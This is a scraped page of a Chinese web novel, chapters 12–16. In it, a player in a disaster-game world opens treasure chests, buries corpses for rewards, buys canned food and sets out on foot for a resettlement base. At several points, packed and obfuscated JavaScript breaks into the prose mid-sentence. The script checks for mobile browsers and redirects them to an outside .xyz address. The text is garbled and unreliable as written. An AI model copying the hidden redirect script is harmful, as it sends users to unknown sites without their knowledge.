l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299359|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾起白色烟雾,雾团快速将她笼罩进去。 【消耗寻宝罗盘*1,寻宝成功。】 【寻宝收获期间,开启短暂视野保护。】 【恭喜玩家寻宝成功,获得历练值*10。】 【恭喜玩家首次寻宝成功,触发迎新大福利,此次收获的宝箱奖励,升级为顶级宝级宝箱。】 随着小精灵的播报,土坑里浮现出一个镶嵌满七彩宝石、环绕七彩祥光的木质宝箱。 激动的心,颤抖的手!宝箱的魅力没人可以拒绝! 微颤的手掀开没有上锁的箱盖,月华般的荧光涌出箱子,小麦努力看向箱子里,视线却被月华流光阻断。 【寻宝触发噩梦级随机事件,请寻宝人选择您的故事路线。】 【路线1,获得宝箱奖励。】 【路线2,花费1宝钱,获得双倍宝箱奖励。】 【路线3,花费1宝钱,结束当前随机话本天灾。】 【路线4,花费10宝钱,获得双倍宝箱奖励,并结束当前随机话本天灾。】 小麦并没有兴趣普度众生,更厌恶道德绑架,但她坚信,现世没有逻辑,但成熟的游戏应当有逻辑,所以每一个路线应当都有各自的深意在。 路线4的报价是前两个的十倍,小麦怀疑最贵的路线才有最好的奖励,于是稍一犹豫便选择了路线4。 10宝钱罢了,她花得起,有最好的奖励最好,没有也无所谓,多花9宝钱买个救世主当当也是别样的趣味,哪怕这个救世主只有她自己知道。 情绪价值同样值钱嘛! 账户里减少10宝钱,关于天灾,她并未听到什么额外通告,倒是宝箱里的流光终于散尽,露出铺在最上层满满当当的红绳钱币串。 小麦开心地伸手去拿,手指接触瞬间,整串整串的钱币化作流光,没入腕表。 啧。 还以为终于要收获实物货币,结果那么多钱币仅仅是给她过了一把眼瘾…… 12. 第 12 章 小精灵棒读收获列表。 【获得铜钱*200000。】 【获得宝钱*2。】 钱币收益已经是双倍奖励之后的收益。 小麦猜测,钱币应当是寻宝宝箱里大概率获取的基础收益,要不然数字也不会是20万那么夸张。 小麦已经确定过,寻宝宝箱的奖励虽然很随机,可大致分为铜级、银级、金级、宝级四个等级。 这是第一铲子给玩家把体验感拉满啊! 该说不愧是最高级的宝箱,竟然还有宝钱奖励可以拿,她直接无痛回本2宝钱。 而从商城的物价来算,20万铜钱相当于两万现世币的购买力,也能买块品质不错的玉坠,也算对得起宝箱的身价。 这是还是在选择了最贵路线的基础上,若是小麦再心狠点,当初选择路线2,还能再赚上1宝钱。 不过钱包鼓鼓的前提下,为了9宝钱背上心里负担不值当,所以小麦也不后悔自己的选择。如果收益丰厚,更加庆幸自己的选择。 收完最基础的钱币,下面的东西更值得期待。 她单手托起一个摇曳着碎光的金色星星,胖乎乎的五角星比成年人的手掌还大一点,远观好似一个琉璃夜灯摆件,近看的质地却神似宝石,捏起来又似乳胶玩偶般绵软,轻的仿佛一团棉花。 这种会闪闪发光的东西向来不是普通道具。 小麦再细看,金色星星的前后两面看似一样,却有不同的字迹若隐若现。 一面写有【结算星辰】,一面写有【普度众生】。 小字入眼,相关讯息也涌入脑海,小麦了然。 这是话本通关结算时才会用到的道具,结算星辰,仅能从随机事件中获取,星辰能换到丰厚奖励,每个话本首次集齐九个结算星辰还能有特殊大奖。 看来那9宝钱也没有白花,高级宝箱带来高等级的随机事件。 小麦猜测,恐怕只有路线3和4,才能开出【普度众生】的结算星辰。 当然,如果她选择线路1和2,也有可能获得其它星辰。 结算星辰虽然是话本限定道具,但也能暂时放进随身空间,这东西又占地方又惹眼,还是收起来比较省心。 小麦心情复杂得收起星辰摆件。结算星辰只能在当前故事背景使用,若是更换话本故事,星辰也会随之消失。 世间果然有得必有失啊。 她已经用掉了第一铲子必出顶级宝箱的新手福利,若是再更换故事背景,非常不利于她收集九个星辰。 接下来也只能走一步看一步了。 收拾好心情,继续查看宝箱。 星星玩偶旁边,是一堆眼熟的寻宝罗盘。感谢双倍爆率,感谢最高规格的宝箱,小麦一下子收获20个寻宝罗盘。 有了寻宝罗盘也能有几率触发随机事件,也能梦一梦集齐九颗星星了。 这下,小麦真的不舍得离开这个故事线了。更何况她刚刚结束了此地的天灾,生存的概率大大提升。 接下来又是一份基础奖励,她收获两份不限时,但仅限话本一里存在的食物礼包,里面各有一瓶矿泉水、一瓶肉罐头、一瓶水果罐头。 这些东西并不沉重,又不会随便消失,小麦将之收进了背包。 最后,箱子底部还有六个婴儿拳头大小的、长条形的黑檀色木牌。 木牌两两叠放,正面用金粉写着【地契】、【人契】、【物契】,反面写有【瓶中梦】,除此之外再无纹饰。 木牌入手瞬间,更多讯息涌入脑海。 【地契】 【物品资讯:地契仅可在[领地*食邑]中使用,每张地契可换取一户居民、十亩良田。】 小麦没看到过有关【领地*食邑】的介绍,从【领地】这个前缀来看,这个玩法需要过关试玩副本才能开放。 人契木牌随手扔进随身洞府,小麦拿起下一块木牌。 【物品资讯:物契仅可在[领地*后花园]使用。每张物契仅可建设一标准单位格子。】 从字面意思看来,领地并非单一地图,也不知道[食邑][和后花园]究竟是何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299360|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等模样? 她【看】向最后一张木牌。 【物品资讯:人契可以在领地/话本中使用。】 【当玩家身处领地,使用人契可以招募到更优秀的追随者。人契招募的追随者保底有一技之长。】 【当玩家身处副本,使用一张人契可开启一次人才招募市场,玩家可花费钱币招募npc协助玩家完成任务。招募光门自带隐蔽效果,仅存在15分钟。】 这三种木牌也不知道是寻宝奖励的标配?还是顶级宝箱才能开出来的特殊道具? 小麦准备再开一次宝箱后,再决定要不要在话本一里使用【人契】。 宝箱里的东西清空,白雾回笼,木箱消失,地上留下一个规整的方形土坑,见证宝箱曾经存在过。 山间土坑容易坑到路人,尤其是在夜里。小麦不是个没有公德心的人。虽然天气很热,她还是很有责任心得把土坑回填。 手动回填挖出来的泥土,累出一身热汗。清凉的风吹来,完全解不了一身暑意。 她迫切想洗个澡。 回填的土壤比较松散,填平土坑后还余两铲散土。 小麦的余光瞄见旁边的尸体,干脆将剩余散土都扬在尸体上,也算是给亡者入土为安了。 不知道《瓶中梦》游戏讲不讲究传染病,这么多尸体陈于荒野,不会造成瘟疫吧? 正在胡思乱想间,小精灵棒读的声音响起。 【恭喜小麦主人激活副业转职方向[敛骨人]。】 【是否转职为[敛骨人]?】 【敛骨人职业每收敛一具尸体,可获得一份[亡者的馈赠]。馈赠礼包有几率开出人契大奖。】 小麦没想到,她仅仅是扬两铲子土,便激活了一个全新的就业方向。 得知敛骨人职业和寻宝人身份并不冲突,一个玩家还能同时拥有多种副业,小麦毫不犹豫选择了[敛骨人]职业。 新职业并没有带来新的历练值,倒是铁铲宛若被加了附魔,埋葬起尸体的效率不输挖宝箱,还不费玩家多少力气。 13. 第 13 章 不过三分钟时间,寻宝地点旁的土地被削了一层,尸体就埋成腿高的小土包,小土包上还插了一截枯木,权做墓碑。 小麦也得到了第一份[亡者的馈赠]。还是她亲自从小土包里挖出来的。 馈赠礼包很简陋,是个轻薄的黑色塑料袋,最上方的红色抽拉绳打了一个漂亮的蝴蝶结。 小麦一度怀疑这是垃圾袋再就业。好在黑色袋子里的并不是垃圾,仅从包装来看,就让人毫无期待感。 事情上的确没有什么惊喜。 塑料袋里仅有一串200个铜钱,钱不多,且不会化为数据货币,但仅限话本一使用。 拿出钱币后,塑料袋凭空消失,还挺省心。 小麦猜测,敛骨人这样的副业,大概只能给她带来一些微薄的补贴,只能说是聊胜于无,[人契]估计是[亡者的馈赠]里的大奖,并不那么容易获得。 不过,有个希望在,总是能调动玩家的积极性,至少,小麦并不抗拒这个副业,以及副业带来的收入。 收好钱币,该考虑接下来的路了。随着太阳落山,山间的风越显清凉。 山上的气温必然比帐篷区要低。可小麦白天出了太多汗,又没有机会洗澡,即使有凉风吹过,她也依旧觉得燥热。 这样的环境实在不适合夜宿,小麦能听见嘈杂的虫鸣。 虽然经历了数次地动,这里依旧是座生机勃勃的山林。这也意味着林间可能有野兽出没,小麦必须尽快下山。 基础设施崩溃的后患太多,要不是结算星辰带不出这个随机副本,她势必要自己找机会重开,换个故事背景度过试玩资料片。 现在,小麦且舍不得手上唯一一颗结算星辰,即使还不知道下一个星辰在哪里,可支撑她度过无聊岁月的,不就是那尚未完全枯绝的贪婪嘛…… 要是没了那点渴望,她真的要了无生趣了。 所以虽然知道接下来要吃点苦头,小麦还是很有兴致。 当然,在她下山吃苦之前,还是要给自己的生活创造一点便利。 天色欲晚,山间没有人,山下的人也看不清林间种种,小麦打算在林子里洗个战斗澡。 水源很好解决,她完成首次寻宝后获得大量铜钱,足够支撑她享受一次矿泉水淋浴。沐浴后的水滋养山林,一点都不浪费。 只要有铜币,商城分分钟刷新到玩家满意。 小麦先买下商城里的两瓶矿泉水,然后开启“1铜钱刷新商城”个“买水”的无限循环,最终花费641铜币,集齐了30瓶限时矿泉水。 30瓶拧开盖子的水排成一排,莫名壮观。 清凉的水依次从头顶浇下,洗却燥热的黏腻,小麦终于享受到了夜风的清凉。 重新穿好衣服,回收空瓶。 商城并未刷新出什么值得期待的晚餐,小麦看向山下。 人群聚集处陆续升起明亮篝火。 余震过后,人们暂且还不需要这样的方式烹饪食物,却需要明亮的火堆驱逐动物,也间接用火堆为暂冲作灯塔,给幸存者提供方便。 小麦白天时已经观察过,大点的帐篷区大多有资源售卖,有志愿者但求心安,也有本地居民凭着库存重攒家底。 小麦并不打算去占志愿者的便宜,但也不介意去买点当地特产。来都来了,总不能白来一场! 她白天的糖分摄入已然超标,晚饭不想喝小甜水,也不打算吃齁甜的水果罐头,更不想吃流水线饼干,倒是很想尝尝罐头区的副食罐头。 从话本的背景资料来看,花国明显处在生产过剩阶段,即使有天灾降临,因为人口的骤减,单单是地里埋藏的罐头物资就能养活幸存人口不知道多少年。 而小麦所在的这个田园旅游点,在搞旅游景点的同时也做农产品加工,村里大概率有自己的罐头加工厂,所以资源点才有那么多的没来及贴标的罐头可以售卖。 小麦一路行来,看到过很多没来及打标的空罐头瓶,感觉这里的罐头随处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299361|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见,希望味道也不会失望。 她在山脚瞭望一番,朝着最近的篝火小心前行。 正是炊烟袅袅的晚饭时间,小麦还没有走到篝火点,就听到了npc的谈话声。 听聊天的内容,最近的篝火地明显是几户相熟的人家聚在一起。 抱团的组织通常排外,二某些调笑声也并不让人愉快。 小麦不敢轻易交付信任,更别说在别人的地盘上安眠。 她没有等到双方打了个照面,便拐了个方向,往另外一个比较大的篝火营地转移。 从高处看时。1小时路程内有十多处篝火区,若是都不能让人满意,小麦也不介意独宿。 幸好这个时代的人都习惯了移动支付,身上不会有太多物资,要不然还要忧心npc拦路打劫…… 好在,情况没有那么糟糕,第二个篝火点是个氛围比较安静的聚集地,还有一个明显的物资售卖点。 那是一辆半陷进地面的小货车,好在货车的车门还能打开。能不破坏车门打开车厢,大概率是车子的原主人。 可能因为随处都能挖出物资的缘故,资源售卖点的秩序很好,货车旁仅守有三名中年人,而整个篝火区有上百人在休息。 小麦抵达这个篝火区的时间是19:32,物资销售点前空无一人。因为没有娱乐活动,大部分人都已经就地而眠。 小麦前往购买物资的行动也没有引来天多目光,天灾才不过几天,好多人还没能从灾难中回过神来。 资源点的这辆货车大概率是给罐头厂送货的,车厢里仅有花花绿绿的罐头,看起来还是从纸箱里现拆的。 这种时候的物资自然也没有讲价的余地,货主也没有跟客人议价的心情,空纸箱上用马克笔写好了罐头的价格,也能称得上是明码标价。 小麦并不打算买太多东西,那样会让歹人盯上她。瓶中梦游戏并没有给纯休闲娱乐玩家配备战力升级功能,她只是个战五渣,并不想挑战高难度。 14.第 14 章 有标价的买卖更有效率,小麦只需要购买今日的晚餐,挑好罐头,设定好交易金额,与货主互相碰一下腕表,货主的腕表字正腔圆通报金额变动,整个交易便完成了。 接下来就是找地方吃饭。空地不要钱,篝火附近的位置却要收费,毕竟,要在大热天里凑足一挑柴火可不容易。 小麦花了六千铜钱购买了三个罐头,又花费一千铜钱,请一份干活利落婶子用篝火,伸着大铁钳,加热了她的罐头。 小麦坐在篝火旁,庆幸自己不用大晚上出去捡柴火。 随着加热,食物的香气飘散开,小麦用干净衣服托着三个罐头,挪到稍远一点的地方悄声吃饭。 三个罐头都只有成年人掌心大,厚度还不到两个指节高,份量最重的一份也不过两百克沉,很有生产过剩时期的过度包装精神,恨不得一粒糖果单独包装一个盒子的精神。 不过,小麦还挺喜欢这样的小分量包装,这让她能一次性享受到三种不同的罐头,不至于担心吃不完浪费食物,在这种灾难时期,浪费食物还是挺召人眼,也挺招人恨的。 她是个纯粹的肉食爱好者,所以即使物资点有蔬菜类的罐头,她也没有为了营养为难自己选择那些清汤寡水的蔬菜。 份量最重午餐肉罐头是个金属拉盖罐头。小麦的运气不错,金属拉环没有出现问题,拉盖已经被掀开一半,露出里面装填满的粉色肉块。 午餐肉的调味比较大众化,淀粉的打击感十足,是小麦喜欢的类别,可以充作主食来吃。 不过小麦也没有撕下来的商标贴纸上,那上面本地土猪肉的介绍让人心惊,这意味着附近可能会有养猪场,很难预料,那些幸存的猪猪会不会跑进山林,发展为野猪群。 不过那都是本地居民都要担忧的,小麦觉得,她任务期间,那些养殖猪应该还不会造成太大危害。 三个罐头里最香的是红油香菇粒罐头,香菇的气味本就霸道,再加上麻辣咸香的红油沁润,加热后的香气十分勾人。 香菇罐头所使用的是非常容易撕开的锡纸封层,香菇粒香肥厚的肉感很接近肉粒,每次咀嚼又能压榨出爆浆的香辣汁水,让人欲罢不能,连罐底的汤汁都不舍得浪费,拿午餐肉泡一泡,那滋味简直绝了! 酥骨带鱼同样是金属拉环罐头,里面没有汤汁,只有三块带鱼完整的带鱼肉段,五香味的鱼肉松散偏咸,吃起来非常没劲。 可惜,帐篷区没有热米饭。 三个罐头足够小麦饱餐一顿,可惜的是,全部吃完也没有吃出历练值。 看来只有品尝商城的食物才能拿历练值,还是首次品尝才有得拿。小麦决定以后尽量吃商城的食物,不仅更安全,也更有机会触发新的历练值。 吃空的罐头盒都被随意丢弃在篝火区外。虽然空罐头瓶也能当做容易,但其它物资点可以买到性价比更高的旅行工具。 小麦猜测,因为这里是田园风的旅游景点,本来就有店铺准备了大量用以野餐的便捷商品,所以此地的幸存者大多不必为生活工具忧心。 甚至野外垃圾箱都能捡到不少仅用了一次的二手货。 所以大家都不缺小工具,所以各种空置的罐头瓶在野外堆成小丘,无人在意。 至少现在,人们不会把罐头瓶当宝贝。 去外面丢弃罐头瓶的时候,小麦在垃圾堆捡到了几张不太一样的传单。 一共六张宣传单,大小不一,材质不一,里面的内容也不尽相同,但全部都是安置基地的小广告,招募人口的待遇一个比一个丰厚。 小麦回到临时营地里的空地,将六张宣传单铺在地上,用碎石压住,一番比较后又给六份宣传单排了个顺序。 排外第一位的小广告,招募外来常驻人口的福利可以概括为: 1.每人每日可凭借居住证,免费领取一次生命体征维持餐。 2.基地提供免费的职业技能培训,学成后要在基地打工满一年方可离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300952|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,期间工资月结。 3.居住时间每累积一段时长都有不同等级的物资补助。 小广告还附赠了简单明了的地图,标注了从这个乡村到基地要如何走,明显是定向投放。 小麦毫不意外,头顶飞过的无人机,有些就专干这活,会在人群聚集处洒下传单,奢侈点的还会附赠点小零食。 排在最后一张的小广告更为惊人,除了上述福利还有免费帮建房,先到先得的宅基地,拖家带口的还给大笔安家费,若能有个一技之长,待遇还能再详谈。 好像只要能招到人,各种大饼都敢画。 小麦稍一思索也就明白了。这个时代本就生产物资过剩,地下随便挖挖就有几率挖到大型仓库,地上的机器也并非全损,天灾里损失最大的是人口。 若是没了人,上位者连秀优越都没有可秀的对象。 而虹吸了海量人口的大城市又没留下多少幸存人口,反而拥有海量的吞吐货物。 再者地动又不是其它天灾,只要撑过这段时间,地可以再种起来,工厂可以再开起来,就连基建都有可能再重新铺设。 反倒是人口需要时间才能稳定增长。 有野望安置基地自然会开始抢人大战,毕竟生孩子哪有抢成熟的劳动力快,等新生儿成长到能用的劳动力,说不定生产技术都要遗失断层了。 偏偏像小麦所在的这种田园乡村的原住民,人家还不愿意去基地。 留在乡村,只要余震停了,村民可以在自家重新盖房子,重新开田地,地下的物资挖一挖,原地不动,就够一村的人享用几十年。 反而去安置基地,不仅要长途跋涉,重新开始,还可能因为人心面临苛政。 只有那些放不下失散的家人,或者有更大野心的人,才会选择前往安置基地。那里能提供更大的人生舞台。 至于小麦这样需要完成任务的玩家?她怀疑,不同安置基地的招募福利,和通关奖励微妙相关。 15.第 15 章 每张小广告背面都印有详尽的攻略地图,可以大致估算出到达各大安置基地的距离。 这一点造福了没有游戏地图的小麦,更让人头疼的是,她在认路方面委实没有太大天分,若是没有详尽的地图辅助,她就只能考虑找一位人工向导。 所有的人工服务都伴随有她所厌倦的社交,更何况领路必然是个长期的工作。那么接下来的目的地就从这六张小广告中选吧? 至少这六张地图都是可以步行抵达的地方。 剔除掉广告里含糊不清的、疑似画大饼的部分,小麦很快选出一张。 这份小广告做得便格外用心,不仅正反两面都用了彩色印刷,还镀了一层厚厚的塑料封膜,保护内里的纸张不易损坏。 背面的地图更是竭尽可能罗列行人可能遇到的路标,力求每个拿到地图的幸存者都不会迷路到别家基地去。 印刷技术够硬,这意味着,这家名称【顺安】的安置基地,可能有类似机器幸存,要么就是基地所在地受灾没那么严重,要么就是基地负责人有能力有手段恢复机器生产。 而详尽的指示地图则体现了其细腻的关怀,不管这份关怀源自于什么,有就总比没有强。 顺安基地……就它了! 这个基地距离她所在的村子有80公里左右。 小麦对自己的脚程还算有了解,在柏油马路上,一小时能走四公里冒头,这里的路况不太好,哪怕打个折,按照一小时两公里来算,她需要四十个小时才能抵达目的地。 真正走起来,她还需要更多时间休息调整,再加上还要拿出时间来寻宝,那保守来算,半个月以内,只要一天能走两到三公里,她就有很大把握通关副本。 前景看起来还算美妙。 这个基地给的待遇也不错,除去那些需要面议的福利,顺安基地给抵达的居民免除房租,公共食堂有价格低廉的生命维持餐,免费提供一门专业技术培训,培训后只需要务工三个月,基地还有最低日薪标准。 从房租的描述来看,这个基地已经开始尝试恢复正常生产建设,天灾一结束,应当能做得更好。 而对于想要定居的幸存者来说,基地还提供定居者福利,随着定居时间的累积发放,主打一个细水长流。 小麦不打算登记为长期居民,只要抵达基地范围内,她就算任务完成。 综合对比下来,还是顺安基地的福利最合她的心意,如果基地的福利能增幅结算奖励,那就是额外的胜利。 选定目标,小麦把剩余五张小广告重新压到罐头瓶旁,把她选择的那张收进背包,枕着自己的包睡了一晚。 第二天,凌晨04:23,天还没大亮,她已然睡不下去,只觉腰酸背痛,身上还被咬了大大小小的鼓包,明显是不同虫蚁所致。 野外荒地真不是人睡的啊,不仅是飞的蚊虫咬人,早知道应该去找开裂的水泥地面,虽然更硌人,但虫子说不定能少点。 早饭不想吃罐头,小麦更没有背着沉重的罐头负重前行的打算,趁着太阳还没有出来,她赶早启程,赶路不会太热。 小麦的离开没有引来任何人的额外关注。本地人虽然大多不愿意离开,但也不会拦截别人离开,毕竟有无人机随时飞过,本地人也不想招惹来正规军。 小麦走了不到一个小时,就走上了原本的高速公路。 这种时候就要庆幸,80公里的高速公路没有跨越什么天险,所以交通在某种程度上算不上崩坏,只是原本平坦的水泥没法走车了而已,因为天灾有一个爆发的过程,路上的车辆都困在了原地,仅有少数车辆追尾。 高速公路还保有原本的基础框架,只是栏杆和告示牌倒塌,有的广告牌直接砸在车上。 小麦能看见的最大的裂纹能有一米宽,陆陆续续断裂的路面宛如干燥开裂的面团,遍布沟壑,想要过车是不可能了,但绕着点走还能步行往前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307665|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 高速路做过特殊硬化,几乎每段路上都有车,所以非常好鉴别,即使是夜晚也不会轻易偏离方向。 小麦打算从今天开始,晚上赶路,白天休息,除非白天的温度降下来,才考虑倒回到正常时差。 一口气走到早上七点,气温随着太阳的小麦肚子饿得咕咕叫,正在停在一个前不着村后不着店的荒野区。 没有了指示牌,也不知道究竟走了多远,但明显公路旁边没有什么建筑坍塌残留,这里是真正的荒郊野外。 小麦瞄上一辆停在路上的大货车。货车所在的位置不错,没有像其它货车那样因为重心失衡而翻倒,驾驶室的车门半敞,大概是司机逃离的匆忙,没顾上锁车。 车斗里的装满煤炭,靠边的地方少了一个坑角,大概是造福了过往行人。 仗着附近没有人,小麦踏进驾驶室,好躲避无处不在的无人机。 游戏商城早已经在夜里零点时刷新,这次刷出来的商品很得小麦的心,分别是: 一瓶矿泉水,售价15铜钱;一个鱼香馅油酥烧饼,售价60铜钱;一纸杯八宝粥,售价40铜钱;一瓶矿泉水,售价20铜钱;一碗酸辣米线,售价180铜钱;一碗麻将汁拌凉皮,售价120铜钱;一个藤椒鸡腿汉堡,售价200铜钱;一杯冰可乐,售价90铜钱,一套女款短袖长裤夏装,售价300铜钱。 九件商品,有五件都是新食物,意味着她有机会拿到50历练值。 而衣服与食物不同,它的限时存在时间贯穿贯穿话本一副本。 这种时候也不讲究什么穿着,小麦先买了那套女式夏装,换下一身酸爽的旧衣服,旧衣服直接扔到路边,车厢里的空气瞬间清新。 接下来就是安抚肠胃了。 大汗淋漓的时候不适宜喝冰饮,出现拉肚子的毛病都算轻的,冰饮猛然灌下,夏天的温差,容易造成胃或者食道的毛细血管破裂流血,从而引发生存危险。 16.第 16 章 小麦先买下了一份看起来更安全的八宝粥。 八宝粥入手尚温热,所用的纸杯是普通中杯大小,粥不仅熬煮得浓稠,还用料丰厚,肉眼可见的饱满的红枣、莲子、花生、红豆和桂圆肉,入口也很是香甜。 更加甜到心里的是新入账的历练值*10,和累积到100所获得的历练值大礼包。 【历练值积累到100,恭喜玩家获得历练大礼包(二)。】 【历练大礼包(二)内含宝钱*10、寻宝罗盘*10、地契*1、物契*1、人契*1。】 【请玩家再接再厉,累积历练值*500,即可获得历练大礼包(三)。】 宝钱和罗盘的奖励都涨到了10,契约木牌的奖励才只有各一个,由此也能推断出三种契约的珍贵,至少比宝钱和寻宝罗盘珍贵。 下一档礼包需要累积的数字,从100涨到了500,再下一个档位可能就要到1000,接下来的数字只会越来越大,如无意外,越到后期越难刷新出新食物,自然也越难积攒历练值。 想要下一档500历练值的奖励,小麦需要首尝40种新食物,现在看起来还不算难,可等到400、4000的时候,就是一笔天文数字了。 所以别看前两个奖励给得多,可按照游戏套路来说,对于这种需要累积才能获得的游戏礼包,玩家最多能轻松拿前几档奖励。 等到了后期,积攒一档礼包的时间就要按年计算,说不定后期的随便一个任务的奖励,都能和累积的礼包奖励持平,到时候累积就纯属锦上添花了。 不过小麦想象一下空手进游戏的玩家的境遇,觉得游戏的安排也算体贴,前面两档礼包几乎等于白送。 初始背包给了1200铜钱,只要不乱花,很容易凑齐最初需要的九样商城食物,有11宝钱1金钱在,不仅能轻松拿到两档奖励,也不愁前期的温饱问题。 小麦心满意足下结论:她碰上了个良心游戏!幸甚! 心情愉快,走起来也更有劲儿。早上走了两个多小时,堪堪完成今日的既定目标,小麦停下来休息,胃口大开。 先来一碗开胃的酸辣米线。 米线不同于其它食物,汤水是装在国风风潮纸质外卖碗里,还配有一双一次性木筷。 汤面表层漂满红油,没有葱花、香菜等小料,红油隐隐露出雪白米线。酸辣汤很开胃,汤水的份量很大,米线却只有表面一层,米线小面埋了满满的海带丝,点缀了一点辣白菜和油炸花生米。 小麦捞干净固态食材,请小精灵回收了汤水和容器,觉得完全没吃饱,还能再来两碗,于是又把鱼香馅饼买了下来,然后收获一份惊喜。 油酥饼里的馅料和小麦想象中的不同。酥脆饼皮里是外酥里韧的鱼肉条。 鱼肉也不知道是油炸过还是烤过,吃起来的感觉颇像工艺特殊的辣条,却又有鱼肉独特的松散口感和肉香。 满满的鱼肉条沁满红油辣料,香而不辣微微的辣度非常开胃,寡淡没有调味的饼皮又很好的中和了馅料的辣与咸。 小小一个烧饼,简直完美到无可挑剔! 小麦很是不舍得小口小口吞咽,可惜不管吃得再怎么珍惜,一个烧饼只有成年人掌心大小,很快在吞咽声中消失殆尽。 早上的活动量比较大,一杯粥、一碗米线、一个烧饼下肚,小麦才吃了个半饱。 刚完烧饼难免口干,小麦买了一瓶矿泉水,又买了一个藤椒鸡腿汉堡,总算填饱了肚子。 一顿早饭花了495铜钱,成功入账30历练值。 吃饱喝足,大汗淋漓,有了驾驶座可以稍作休息,小麦就不想继续顶着日头赶路了。 她靠坐在驾驶室的软垫上,慢慢培养睡意,借助饭饱后飙升的血糖,还真成功睡着了。 一旦睡着,这些热度就变得可以短暂忍耐。 小麦一口气睡到下午三点多,终究是被闷热的天气给热醒。 高速公路旁的风灌进室内,带来一股又一股热浪,止不住的汗水打湿衣服,经过一段时间的暴晒,驾驶室内的胶皮都开始烫手。 这种时候,室外反倒比室内舒服一点。 硬化过的高速公路踩着烫脚。 小麦从公路旁边的土坡,出溜到坡下的荒野地里,找了个没有倒伏的小树纳凉。 小树的树冠还很小,地上的阴影还不足以完全遮蔽一个成年人,可有总比没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313323|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强,垫着驾驶室里顺来的坐垫,坐在视野开阔的野外,虽然还是热,却不会有室内那种喘不过气的憋闷感。 要是能有个凉席,说不定还能再舒服一点。 希望游戏商城能懂事一点…… 在刷新商城之前,小麦先买下了商城里的冰可乐,她没敢喝,单纯抱在手心里纳凉。 分分钟花20铜钱刷新了20次商城,结果都无法令人满意。 虽然刷新出不少没有吃过的食物,但她现在委实没有胃口,自然也不会为难自己。饿着虽然难受,可吃了就吐会让人更难受。 想着她还没能完成所有钱币的刷新试验,小麦果断放弃铜钱刷新,选择银钱刷新一次。 这一次只刷新出两件银钱商品,一套廉价西装,一套短裙,都只要一银钱。 这两种衣服都不适合赶路,小麦果断放弃,又使用1金钱刷新。 游戏商城里金光闪过,刷出的九件商品分别为: 一套夏日清凉套餐,售价1金钱;一个沙漠清凉帐篷,售价5金钱;一个藤木沙滩躺椅,售价1金钱;一个冷饮冰柜,售价2金钱;一套纳米速干清凉衣,售价1金钱;一辆四轮越野车,售价100金钱;一套宫廷晚礼服,售价60金钱;一个集装箱休息室,售价10金钱,一把唐刀,售价80金钱。 高等级的货币就是不一样,刷新出来的商品全部是金钱价格的商品! 小麦眼瞅着前后左右没有无人机,先把售价5金钱的帐篷给买下来! 哪怕知道笨重的帐篷只能成为仅可使用半日的一次性物品,她也不想忍受这酷热的天气了! 5金钱扔出去,并没有收获历练值。看来休闲娱乐的历练值收集,主要靠首尝食物。 买下的瞬间,小麦眼前便笼罩了一层白雾,不过一秒时间,白雾散尽,小树旁边就多了一个已经扎好钉着土地的大帐篷。 确定了没有额外收获,小麦躲在帐篷的阴影里,买下换上一身清爽纳米衣,细细观摩起价值5金钱的帐篷。 